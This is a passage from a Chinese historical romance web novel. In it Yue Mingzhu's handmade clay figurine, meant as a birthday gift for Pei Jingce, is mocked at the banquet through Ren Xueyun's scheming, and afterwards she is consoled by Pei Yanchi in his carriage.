越明珠吞下碗里最后一颗糖渍樱桃,打定主意:“有什么事,等阿策哥哥生辰过了再说。”
正好下人过来叫越明珠去厅中用晚膳,云青便是还有话要劝,也只好先搁置不提。
“那奴婢先将这虎头扳指收好罢。”
用膳时,越轻鸿眉头紧皱,比往日沉默些许。
越明珠:“爹爹,莫不是出什么事了?”
“没什么,都察院中出了些棘手的岔子。”
见越明珠一脸担心,越轻鸿补充道:“是大人看重我,才将这几件事交由我处理。虽要耗费些心神,但也未尝不是好事。”
越明珠不懂那些弯弯绕绕的,眨了眨眼:“是要升官了的意思吗?”
“都察院位低却权重,以越家门楣,我做到副都御史的位置已是不易,升迁更是难如登天。如今这一时风光,都得多谢裴大公子青睐……”
越轻鸿说到一半,才想起来不该跟越明珠说这么多,就此打住:“无论升贬,肯定还是养得起明珠的。”
突然又听到了裴晏迟的名字,越明珠心下一动,实在忍不住问:“爹爹最近常跟裴大公子共事吗,有没有听说过他有个虎头的扳指丢了,那个东西是不是很重要?”
越轻鸿盯着她:“你问这个作甚?”
越明珠只好把诗会上的见闻搬了出来:“……我听世子说的,有一点好奇。”
“关乎南下清剿叛党,无论大事小事都别多嘴,切莫引火烧身。”
越轻鸿板起脸,凝重地嘱咐:“恭恩侯府与裴家是世交,且已经不过问朝中事,恭恩侯世子才敢调侃两句。你不一样,以后出去可千万千万不要再提。”
越明珠没想到,不过随口一问,她爹竟然如此郑重其事。
她乖乖点头:“我知道啦。”
回想起来,不止是越轻鸿,似乎所有人私底下都极少议论裴大公子。提到裴晏迟三字,更多的是讳莫如深。
就算聊起裴晏迟惊人的政绩,也至多是感叹几句,便默契地点到为止。
不像裴惊策,随便做点什么,流言蜚语就在上京传得沸沸扬扬,人人都想一探究竟。
真是奇怪得很。
她正想着,越轻鸿突然反应过来:“你今日赴会去见裴大公子,是你三伯母授意的,还是你自己记挂着?”
越明珠连忙把锅推给了陆三夫人:“都是伯母的安排!”
见她没说谎,越轻鸿脸色才缓了缓,沉声道:“齐大非偶,这裴家的门第,咱们绝不可能高攀。”
他说得语重心长:“别的就不说了,你瞧瞧过几日裴家那个混世魔王的生辰,请帖都没有咱们的。越家的门楣还够不上去给人家道贺,又怎么可能让你嫁进去?为父怎么可能舍得你去给高门做小伏低?”
越明珠含糊地应着,实际上却只听进去了一句话。
……什么叫做没有他们的请帖?
她心下疑惑,草草用过膳后就连忙让云青去打听,果真打听到生辰宴的请帖早已经送到各个宾客手中,只是没有越府的份。
据说是裴小少爷对自己生辰不太上心,懒得大操大办,只打算随随便便地请些裴家相熟的宾客,随随便便糊弄过去。
不过等到次日,裴家的请帖又姗姗来迟地送到了府上。
悬了一夜的心轻轻放了下来,越明珠悄悄跟云青确认:“这是阿策哥哥专门给我的吗?”
云青面露尴尬,支吾了半天才跟她说明原因。
原来是皇后娘娘见这生辰太过仓促,直嫌寒酸,专门嘱咐太傅夫人重新筹备,才临时广邀了上京所有叫得上名字的名门。
并非是裴惊策的授意,来送请帖的也是不认识的生面孔,一句多的话都没说。
“……这样啊。”
越明珠怔然,垂眸盯着请帖看了一会儿,又慢吞吞移开话题:“既然要去,就更应该好好准备生辰礼了。”
前些日子还在病中,她只粗略地捏了泥人的雏形,离能拿得出手的程度还差得远。
还好她之前经常闲着无聊时经常捏小动物来玩,手艺尚且娴熟,在书房枯坐一下午,就捏出了个初具人形的舞剑少年。
捏出来后,越明珠把这玩意拿在手中左看右看——
一会儿觉得她用心捏的那把佩剑像个胖乎乎的大茄子,又威风又美味,放在泥人圆滚滚的小脸旁边十分神气。
一会儿又觉得好像太粗糙了些,远远比不上阿策哥哥万分之一的英姿。
之前就算做出一只看起来像是鹌鹑的凤凰,越明珠也没觉得有什么不对劲,还觉得自己可厉害了。
但现在跟这只小泥人大眼瞪小眼,她猛然意识到,自己捏泥人的功夫好像确实不怎么样。
还是云青宽慰她:“无论送什么,都重在小姐的心意。”
“小少爷肯定会收到很多华贵精致的生辰礼。小姐这一份独具匠心,肯定更能让小少爷眼前一亮。”
其实越明珠没想那么多。
她只是想,给阿策哥哥捏一个小泥人裴惊策,让他摆在厢房里天天看。
等他看顺眼了,说不定之后回礼时,就会想到送她一个他捏的小泥人越明珠。
到时候,两个小泥人也算是凑成了一对,就算丑一点也没关系。
想到此处,越明珠心中又忍不住生出几分期待。
方才的郁闷之情一扫而空,她继续对着这胖乎乎的小泥人修修补补。
期间还出了些意外。风干了又上过漆的剑尖宛若真的铁剑一般锋利,一不小心就划破了她的手指,在食指上留下一道又长又细的血痕。
所幸伤口不深也不疼,用浸了药的细麻布条包扎后便不碍事,没耽误她按时完工。
一做出来,越明珠就迫不及待地拿给云青看:“怎么样?怎么样?”
少女灰头土脸的,偏偏杏眼晶亮,惹得人很是心软。云青不由笑道:“小姐最熟悉小少爷,捏出来神似又形似,自然是极好的。”
越明珠美滋滋地将泥人装进了盒子中,一边封好保存,一边道:“没办法送阿策哥哥一柄剑,送一个舞剑的小泥人也不错。”
云青好奇:“小少爷以前莫非还学过剑?”
越明珠点了点头,又摇了摇头,严谨地纠正道:“不能算正式习过。”
上京恐怕鲜少有人知道,裴小少爷对刀枪剑戟都颇有一番天赋,小小年纪就创下过百步穿杨的奇迹,十三岁与杭州府武举人比试红缨枪,十招之内竟也能不落下风。
越明珠曾经打心眼觉得,裴惊策以后说不定肯定可以成为威震一方的裴大将军。
她还悄悄认真思考过,边疆环境恶劣,若是她要跟着阿策哥哥同去,也不知道能不能吃得了苦。
不过裴惊策志不在此,回京后也就再也没碰过这些,最多只是偶尔骑马射箭打发时间。
不过说起来,裴惊策拢共也就在她面前舞过几次剑。
印象最深的就是在桃花河边的游船
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上。
傍晚天色朦胧,桃花河潺潺,叫人难免有几分弹琴奏乐的雅兴。
越明珠不想独自抚琴,便故作可怜巴巴地哀求裴惊策,想让他舞剑作配。
裴惊策那时候很好说话,很快就答应了下来,不止给她舞了两柱香的剑,还忍受了她两柱香的魔音贯耳。
到后来她越弹越难听,小少爷实在是没忍住笑,手一松,那把存世仅有一柄的宝剑便掉进了桃花河里,再也没找到过。
事后裴惊策并没计较,只说那剑他也不喜欢,丢了便丢了。
但越明珠每每想起,还是觉得有些丢人现眼。
其实她没跟裴惊策说过,当初她愿意学琴,就是看多了话本,想效仿其中那些浪漫的桥段。
待阿策哥哥在一旁习剑吹箫鼓瑟什么的,她就奏琴对歌,以表心意。
不过由于初出茅庐就遭遇如此重创,从那之后,越明珠再也没拎起过这个不切实际的念头。
“奴婢倒是有一计。”
云青给她出主意:“等小少爷回礼的时候,小姐可以让小少爷捏一个正在弹琴的小泥人。两个小泥人放在一起,也算是圆了小姐一梦。”
越明珠思索一番,觉得这主意实在甚妙:“等下回见到阿策哥哥,我就跟他说去。”
…………
转眼就是裴小少爷的生辰。
有皇后娘娘过问,此次生辰宴较之前更为隆重,庭实千品,旨酒万钟,盛大得令人咋舌。
此番声势浩荡,请帖上写的午时开宴,但刚过巳时,太傅府前便已经是一片车马骈阗的景象。
回京之后,除开裴惊策三回生辰,越明珠从来没有来过裴府,进来瞧见华堂曲宴、冠盖云集,心下只觉新鲜又陌生。
进门不久,就有下人领着他们去礼案前登记。
原来是宾客都要先在礼册上留名,再将准备的贺礼交由裴府下人收好。待开宴后,那些贺礼会陆续呈到席上。
这流程比从前繁复许多,远超越明珠意料。
早知道得把自己这朴素的木盒子拿给所有人看,她就私下再把这东西给阿策哥哥了。
然而现在后悔也来不及,越明珠只好先找了个肚子不舒服的理由溜开。
她躲到角落里东张西望,好半晌后,终于捉住一个面孔熟悉的小厮。
那小厮替裴惊策给越府送过东西,显然也认识她:“越姑娘可是有什么吩咐?”
越明珠掩袖,低声吩咐:“你把这木盒子拿给你家少爷。”
小厮面露出难色:“小的在这儿还有急事要办,来回一趟至少要两盏茶的功夫,实在走不开。”
越明珠没想到裴府这么大,也犯了难。
那小厮察言观色,看了看她手中木盒,连忙补充道:“越姑娘是不是想私下把这东西给小少爷?”
“小的可以把这盒子偷偷塞到那些贺礼下面。礼册上没有姑娘的名字,这份贺礼就不会贸然呈到席上,只会私下交由小少爷过目。”
越明珠觉得这似乎是个好主意。
其他人不知道是谁送的,但裴惊策见到这泥人,一定会心会神领。
她当即点头,将木盒递了过去:“多谢啦。”
目送小厮抱着木盒子混入礼案中,越明珠心中一块石头渐渐落地。
她准备去席上入座,但没走几步,就听见周围贵女们聚在一起此起彼伏的议论声,夹杂着她分外熟悉的名字。
“……任雪韵怎么还在这儿,闹成这样,婚约不曾搁置吗?”
17.17
顺着那些人的目光看去,越明珠一眼就瞧见了任雪韵青色的身影。
青衣如竹,耳边点缀两颗南珠,典雅又落落大方。
府中贵女争奇斗艳,她却并未盛装打扮。站在太傅夫人身边,被衬托出几分主人家宴客的架势。
“……这话说的,难道这上京还有谁敢跟裴家撕破脸不成?本来就是任自恒有错在先,咬碎牙也要往肚子里吞。”
“我要是任雪韵啊,何止是生辰宴来。我日日都来给太傅夫人请安,叫太傅夫人看看我的诚意。
亲弟弟手脚都被小少爷打折了也能一片痴心不改,哪有还不嫁进裴家的道理?”
最后那人的语气揶揄而讽刺。她一说完,其他人都忍不住掩面笑起来。
周遭议论的声音并不算低,完全能传到任雪韵耳中。任雪韵却好像没听见,脸色不改,走过来同她们打招呼也是笑吟吟的:“……明珠妹妹,身子可好些了?”
越明珠没想到周围明明有那么多人,任雪韵还会先问候她。但她实在不想理会,敷衍了几句就找借口走开。
等越明珠入座时,宴上已经是显贵云集。
主座还空着,等着皇后娘娘亲临。右手边靠前也有一处扎眼的空余。
太傅夫人进来瞧见那处空位,没多说什么,只是笑着拉过还未入座的长辈的手,交谈片刻之后,自然而然地将人引了过去。
越轻鸿也注意到这一出,略显意外:“大公子今日难得搁置了与何大人的会面,原来不是为着生辰宴。”
不过细想在意料之中。裴家兄弟参商之事就差摆在明面上了,裴晏迟生辰时就唯独不见裴惊策的身影。如今主客颠倒,裴晏迟不想来也很正常。
何况裴大公子借口充裕。他手中还有南下逆党一事尚未了结,随便找个要查案的理由就能推辞掉此次赴宴。
事关国本,怎么着都比太傅幼子的生辰重要,就算裴太傅在此也不好置喙。
其余人看出端倪,也都默契地缄口不言,如常落座。
又过一刻,裴太傅与裴惊策一同前来。
裴小少爷偏爱浓色,腰金衣紫,衣如其人般张扬又矜贵。他一出现,所有视线都不约而同地投到他一人身上,周遭再英俊的儿郎也沦为了陪衬。
越明珠眼睛眨也不眨地望着他。他跟在太傅身边,听太傅低语之后,突然偏头回望过来,唇勾起,桃花眼微弯,一个眼神就足以叫人面红耳赤。
越明珠心扑通扑通地乱跳。好一会儿才反应过来,裴惊策不是在看她,而是在跟她旁边的人打招呼。
顺着裴惊策刚刚的视线看去,是一个气度不凡的中年妇人,眉眼间与太傅夫人还有几分相似。
那妇人周围有几个女眷,见裴惊策在看这边,哪怕知道不是在看自己,也都微微红了脸。有更甚者大起胆子,借机暗送秋波。
旁人见状,无不感叹裴小少爷果真是招蜂引蝶。
裴惊策早已经对这些目光与议论习以为常。他收回视线,跟着裴太傅同德高望重的长辈一一问过安后便落座。
而后皇后亲至,这场生辰宴才算正式开始。
宴上完全依循宫中礼法,庄重得叫人侧目。裴小少爷本人对这些繁文缛节却表现得兴致缺缺,全靠太傅夫人时刻提醒着,才没表现得太明显。
而后就到了宣读礼册,呈上贺礼的环节。到了重头戏,众人愈发打起十二分的精神。
谁家送什么,又说什么祝贺,贵重与否,亲近与否,处处都暗藏玄机。背后牵扯的可就不只是一个裴惊策,而是两家乃至两派间的关系。
最先呈上来的是皇后娘娘精心准备的贺礼,两株半人高的珊瑚。
红珊瑚形如烈火,本就是稀世的进贡之物,一株就已经十分难得,竟然直接送了两株,实在叫人大开眼界。
皇后娘娘道:“原本是打算送左边这一株的,还是你娘提醒了本宫,你还差一岁就要及冠,也到了成双成对的年纪,送的东西自然也要成双成双最好。”
“为这寓意,本宫才忍痛割爱,将自己宫中那株珊瑚搬了出来。”
太傅夫人连忙接过话柄:“有皇后娘娘这么深厚的心意,惊策离得偿所愿肯定也不远了。”
一问一答,弦外之音几乎呼之欲出。
裴惊策起身,作揖谢过恩典。
他一向不喜欢说虚与委蛇之词,此时也一样,就算在皇后跟前也没多说几句奉承应和的话。
接着陆续呈上别的贺礼。虽不如那两株红珊瑚稀罕,却也都是些奇珍异宝,看得越明珠眼花缭乱。
很快就念到了任大人的名字。准确说,是以任四小姐的名义送的。
长匣打开,里头正躺着一把造型古朴的长剑。还未开刃,却已经能瞧得出来剑光凌锐,绝非凡物。
皇后有些意外:“本宫疏忽,竟不知道惊策还习过剑。”
裴惊策还没开口,任雪韵先盈盈起身参拜,答曰:“皇后娘娘有所不知,小少爷曾经不止习过,还不慎弄坏了一把由关西七卫铸剑大师章赫亲手铸造的宝剑。”
“臣女听过之后,一直觉得甚是可惜。”
说起裴惊策的旧事,任雪韵的语气中竟然有几分旁人融不进去的熟稔。
“好巧不巧,臣女最近得知母家兄弟曾在关西任职,与这位大师有些渊源。辗转之下,半月前臣女总算找来一柄章赫大师早年锻造的剑,名曰度关月,取飞度关山之月的含义。”
一直到任雪韵说完,越明珠才知道,那把掉进桃花河里再也没见过的剑,原来有这么大的来头。
作为罪魁祸首,她竟然对此一无所知。
过了一会儿,又想,还好当时裴惊策回绝了她的提议。
否则她托人苦苦寻觅到的剑,再好也肯定好不过任雪韵的十分之一。
展示完这把剑后,仆从并没有像之前那样直接撤下,而是将剑匣端到了裴惊策面前。
裴惊策垂眸端详着那剑,也不知道在想什么,半晌后才拿起来。为了试试是否趁手,随意挽了个剑花。
举手投足间行云流水,一看就是练过。
众人皆惊,任雪韵也面露讶然之色,急忙柔声道:“不曾想这柄剑与小少爷这般相配,真不枉臣女苦心搜寻。”
裴惊策收起剑,颔首,语调散漫平缓:“任姑娘有心了。”
“惊策刚刚那两下,当真是出乎了本宫的意料。”
皇后娘娘若有所思:“正好宣府大捷,下月边疆大军班师回朝。接风宴上要备些敬赞的项目,似乎还少了个舞剑的人选。”
待裴惊策应下,她又道:“至于奏乐,本宫觉着宫中琴师虽好,这时候却少了几分意蕴……”
任雪韵心领神会,连忙毛遂自荐:“臣女这些日子正好在练庆祝将士凯旋的乐行曲,若是能有机会敬赞护卫边疆的将士,臣女不胜荣幸。”
皇后娘娘满意地点头:“听闻任姑娘琴技非凡,甚好,此事就这么定下来了吧。”
有了之前千灯宴上的先例,再见到这一幕,众人也不再觉得惊讶,只是觉着这任四小姐委实好命,入了裴府青眼。
虽说裴小少爷声名狼藉,并非十足十的良婿。但连皇后娘娘都这么上心他的婚事,能嫁到这样的人家,还有什么可奢求的?
其他的贵女嫉妒都来不及,手里的帕子都快被绞烂了。
太傅夫人跟皇后闲聊起来:“……惊策的事,外人很少知道,愿意这么花心思的人更是寥寥无几。任姑娘此礼别出心裁,臣妇瞧了都觉得纳罕。”
任雪韵笑道:“夫人过誉了。臣女担不住别出心裁一说,这礼案上还有一柄剑呢。”
闻言,刚刚还聊着家常的几人纷纷侧目:“还有这种事?”
任雪韵点头,补充:“虽是泥做的,却跟臣女不谋而合,真是凑巧,只是……”
她又面露难色:“臣女不知道该怎么说。”
“没事,先呈上来吧。”
被她这么一说,众人都勾起了兴趣。
本以为是像度关月一样珍稀名贵的宝剑,结果就见下人端上来一个木盒子。
不同于雕刻着华美繁复纹路的剑匣,这个木盒外形简朴,大小也不过半截手臂。
这下倒好,众人都不由好奇起来这盒子里会有什么玄虚。
下人缓缓将木盒打开,取出里面封存之物。万万没想到装着的东西竟比外边还要简朴,只有一个拿着剑的小泥人。
当看清那泥人拙劣的模样,席上不约而同一阵哄笑。
笑过之后,又有人问:“这是谁家的贺礼,怎么这般……”
那人没把话说全,委婉地留了几分余地,但意思早已经不言而喻。
无论横看竖看,这都不像是能送到太傅府的东西。
说难听些,便叫做压根难登大雅之堂。
管家跟着进来,禀报道:“已经排查过礼册,并未有见到此物记录。是开宴前任姑娘过问,看管礼案的下人才发现了端倪。”
任雪韵为难地道:“我意外看见有人与我心有灵犀,忍不住多留意了些,没想到问出来这样件稀罕事。”
话音落下,越明珠就听见身边人窃笑着道:“肯定是府中哪个小丫鬟见了小少爷舞剑之姿英武,想留作纪念,不曾想直接被人发现了。”
这般粗糙的东西,显然不可能出自哪个匠人之手。
想来只可能是府中丫鬟婢子仰慕少爷,趁着裴惊策生辰,偷偷用贺礼以表心意。
又有人道:“还别说,这泥人捏得有模有样,还挺可爱的。”
说完,她自己忍不住笑了,周围的人也跟着笑了起来。
“是挺用心的,拿去那些街市的摊子上卖五两钱,肯定多的是人抢着买。”
“都在这府里伺候了,莫非没长眼睛,不知道这裴家如何显赫,竟然还敢送这种东西贻笑大方。我若是收着了,还以为是哪个婢子对我怀恨在心,故意膈应我呢。”
一个异想天开的小丫鬟的东西,无论好坏都叫人瞧不上,只能当做茶余饭后的笑谈。
越明珠紧紧攥住袖口。
低而密的议论声中,只听见任雪韵继续道:“不过,臣女见到这泥人的第一眼,倒像是看见了小少爷拿起度关月的样子……”
“好了,”裴惊策抬眸,打断道,“拿下去吧。”
小少爷的命令,下人不敢不从,连忙又将泥人收进木盒中带了下去。
任雪韵被打断后也不恼,笑着说了几句场面话,活络好气氛便如常坐下。
这事也跟着就此揭过,并未生出太多波澜。毕竟只是个下人搞的鬼,笑过也就罢了,实在不值得浪费更多口舌。
越明珠也想装作事不关己的样子,然而一拿起茶杯才发现手
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在轻轻发抖,盛满的茶水悉数洒在了案桌上。
任雪韵偏头,欣赏着她难堪的模样,回以微微一笑。那双眼睛中的嘲讽与挑衅意味浓郁得快要溢出来。
就算再迟钝的人也会意识到不对。
木盒封得严严实实,如果不是有人提前打开看过,怎么知道里面的小泥人佩了剑?
越明珠捏着茶杯,脑袋空白。
还是旁边的人提醒她,她才发现刚刚抓破了手指,食指上扎的那一条麻布上渗出点点血迹。
这动静瞒不过越轻鸿。越轻鸿一回头看见她手上有血,脸色都直接变了,二话不说,连忙叫来仆从带她去处理。
越明珠几乎称得上落荒而逃。
等到走到目的地,听不见身后大大小小的声音,她才放缓步伐,倚在门框边,捂着心口轻轻喘气。
耳房里早已经有府上的大夫跟丫鬟备着。
见到她,丫鬟连忙凑过来伺候,又是端茶倒水,又是多加嘱咐:“宫中珍珠粉祛疤之效显著,小姐不必担心留疤。若小姐身子还有旁的不适,也可以先在这儿歇下。”
丫鬟说着,又压低声音补充道:“都是小少爷吩咐过的,小姐放心吧。”
越明珠怔了怔,张口,却突然发现没什么可问的。
“……还有吗?”
“小姐的东西已经收着了,等会儿便送到少爷房中。”
“你先送到我这儿吧。”越明珠冲她笑了笑,轻声细语地道,“我想拿回去修一修再给阿……再给他。”
丫鬟犹豫了一会儿才应下:“那小姐先处理好伤,稍等奴婢片刻。”
等丫鬟退下,府中的大夫便开始给越明珠清理伤口,抹过各种药膏,又用新的麻布条重新包扎。
这个过程细致又枯燥,越明珠一直没说话,像是发起了呆。
耳房里静得落针可闻。
大夫一边动手一边观察着越明珠的神色,等包扎完,实在没忍住道:“听说姑娘怕疼,春芝还嘱咐我多加小心。没想到姑娘连眉头都没皱一下。”
听到他的声音,越明珠才回过神来:“弄好了吗?”
大夫点头,嘱咐过注意的事宜就带着药箱退下。
他刚一走,丫鬟便抱着木盒小跑过来,将东西还给她:“小姐若还有什么吩咐,全都尽管告诉奴婢……”
越明珠接过木盒,轻声道:“我伤还没好,想早点回去休息,你不必守着我了。”
支走丫鬟,越明珠又在耳房里坐了一会儿,才慢吞吞地动身。
不同于方才的喧闹,如今所有人都正围绕着生辰宴忙里忙外,远离宴席的地方格外安静,连人影都没有多少。
越明珠走得有点累了,便又放缓步子,低头打开木盒,看着里面的小泥人。
……好像的确不太好看。
虽然耗费了她很多功夫,但的确比不得刚刚呈出来的任何贺礼。不对,连相提并论的资格都没有。
也许应该送个别的。
她原本万分期待着裴惊策能够回一个正在弹琴的小泥人,但听到任雪韵要给他舞剑奏乐之后,早已经没了这个好笑的念头。
越明珠胡思乱想着,根本没注意到前方有处台阶。她一脚踩空,人没事,手里的盒子却哐当摔落在地上。
泥人顷刻之间摔成两截,如同被拦腰折断。
越明珠愣了一下,才想起来蹲下来捡拾两片碎块。
然而那小泥人受的伤远比看到的还要多。刚捡起泥人的上半身,它的身体就从脑袋脱落下来。
手忙脚乱了一通,地上的碎片却掉得越来越多,好像怎么都捡不完。
食指上的伤口迟钝地隐隐作痛,一瞬间,情绪如排山倒海般袭来。
越明珠鼻尖发酸,泪珠也莫名其妙地夺眶而出,啪嗒啪嗒地掉了下来。
先是一颗两颗,接着就是一串两串,到最后无休无止。
都怪她从小就是个哭包,遇到一点小事眼泪就没完,就算擦掉又马上会涌出来新的。
使劲擦了几次,除了把妆粉擦花了以外毫无作用,眼泪一直往外流。
越明珠干脆自暴自弃了,不再管那没完没了的眼泪,一边任由自己哭着,一边继续收拾地上散落的碎片。
收累了就停下,抱着木盒子默默哭一会儿,缓过来再继续一边哭一边收拾。
也不知道过了多久,碎片终于被全部装进了盒子里,眼泪也终于跟着停了。
越明珠擦干净眼泪想起身离开,却后知后觉地发现腿已经蹲麻了,一动就针扎似的疼,只好撑在旁边的树上,一点一点慢吞吞地站起来。
撑着树壁的手随着她站直不断上移,突然之间,摸到一个触感冰冷的东西。
“……?”
越明珠泪眼朦胧地抬起脸,才发现在她身边投下来阴影的原来不是树,而是道修长的人影。
裴晏迟也不知道什么时候出现在她的,好像已经静静地待了很久,也静静地听她哭了很久。
而她的手刚刚就撑在裴大公子的腿侧,一路往上摸,摸到了他腰边垂着的玉佩。
视线交汇。
男人不见动怒,十分平和地问:“这是不是上回没摸够的意思?”
越明珠唰的收回手藏到袖中,张了张口,只溢出几声可怜的抽噎:“我、我说我眼睛哭瞎了,你会信吗……”
18.18
裴大公子不喜杂乱,马车内一向井井有条,连个多余的茶杯都没有。
然而随着不速之客的到来,一转眼就增添了许多乱七八糟的东西。
盛满清水的银盆,擦过脸上妆粉后一块红一块黑的手帕。下人识趣地不敢进来,这些杂物只能先搁在显眼的位置。
茶几上放着几碟点心,过于甜腻的香味叫人心烦。
造成这一切的越明珠浑然不觉自己干了多惊天骇地的事,正低头咬着玉露团。
每吃一口,就悄悄看对面的男人一眼。
她自以为做得很隐蔽,殊不知在裴晏迟眼底下这些小动作都一览无余。
大概是因为心不在焉,越明珠刚刚洗过脸后并没有好好擦干净,鬓边不断有水珠滴下来,像是没干的泪痕。
眼睛里也有泪珠要落不落,远看像是层剔透的水雾。整张脸都湿漉漉的。
看了他很多眼之后,少女像是终于鼓起了勇气,吸了吸鼻子,轻轻道:“……谢谢你。”
话音落下,半天没了下文。
裴晏迟睨过去,淡声开口:“只是这句?”
越明珠哽了一下,声量更小:“谢谢你给我的点心,很好吃。”
裴晏迟:“……”
越明珠其实一点都不饿,甚至没什么胃口。
只是她每回心情不好的时候,都习惯吃点甜腻的糕点。所以一坐下来,就哽咽着说好饿。
说完之后,才猛地想起来面前的人不是有求必应的她爹,而是连她爹都不敢这么使唤的裴大公子。
还好,裴晏迟大抵是看她这哭成鬼脸的样子太狼狈了,并未多作计较,让侍从就近去裴府的后厨给她端了几碟点心。
正好都是她爱吃的。
慢吞吞地各尝了一个之后,越明珠像是想起来了什么,又用袖子擦了擦脸,抬起头怯生生地看向他。
语调也弱弱的,很是可怜。
“大公子,你可不可以看在、看在我哭瞎的眼睛刚刚才复明的份上,宽限我一日……”
若不是对她在宴上吃喝了什么再清楚不过,现下送来的茶水吃食都是他吩咐过的,裴晏迟几乎要怀疑她是不是偷偷喝了酒。
怎么胡言乱语成这样。
“我、我把你的那个扳指落在府里了,明日就给你,你宽限一日就好……”
裴晏迟抬眸:“你觉得我来找你,就是为了这个?”
越明珠迷茫地“啊”了一声:“不然呢?”
过了一会儿,又后知后觉地问:“你不是在府中偶然遇见我的吗?”
长指抵在眉心,男人眉间蹙痕稍纵即逝,再开口时,语气已经恢复如常。
“……我确实应该等你明日清醒后再跟你说别的。”
越明珠很擅长得寸进尺:“那你刚刚看到的那些东西,可不可以都不要跟别人说?”
“我没有跟人闲聊的功夫。”他道。
算是变相的同意。
马车原本一直停在裴府侧门,不知何时开始缓缓行驶。等越明珠回过神来,才发现已经离太傅府越来越远。
她望着那处偌大的宅邸不断后退
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刚刚才压下去的失落又轻轻升起来,她像是自言自语一样,闷声道:“……去别人的生辰宴,连贺礼也都没送出去。”
裴晏迟语气平淡:“越大人送了就够了。”
她低声喃喃:“我爹两袖清风,家中开支全靠族里分的铺子田地,应该也拿不出什么艳惊四座的东西。”
裴晏迟瞥过来,突然问:“你想要名贵之物?”
越明珠怔住,连忙摇摇脑袋:“没有,我只是……”
“庄河,”男人偏过眸,“我书房那尊玳瑁玄武,替越大人记到礼册上。”
越明珠怔然地望着裴晏迟,裴晏迟回望过来,平静地提醒道:“既然准备了如此厚礼,别的小东西就不必再送了。”
越明珠不知道他是不是瞧见了她的泥人,意有所指。
她有些没反应过来,只是下意识回绝:“谢、谢谢大公子的好意,但是太贵重的东西,一看就知道不是我爹送得起的……”
“总有人看不出。”
裴晏迟淡淡地道:“既然想要,那就拿着。”
就跟当初一样。
学堂里其他的学生看着她拿到那么名贵的猫眼石,一下子都变了脸色,谄媚地上来恭喜,还说她的诗文肯定是被夫子珍藏起来了,所以才没发下来。
逗得越明珠破涕为笑,一整日都欢欢喜喜,下学之后隔得很远,都能瞧见她的笑脸。
谁还会去想,一个普通的教书夫子,怎么能随随便便拿出颗金绿猫眼给学生作奖励。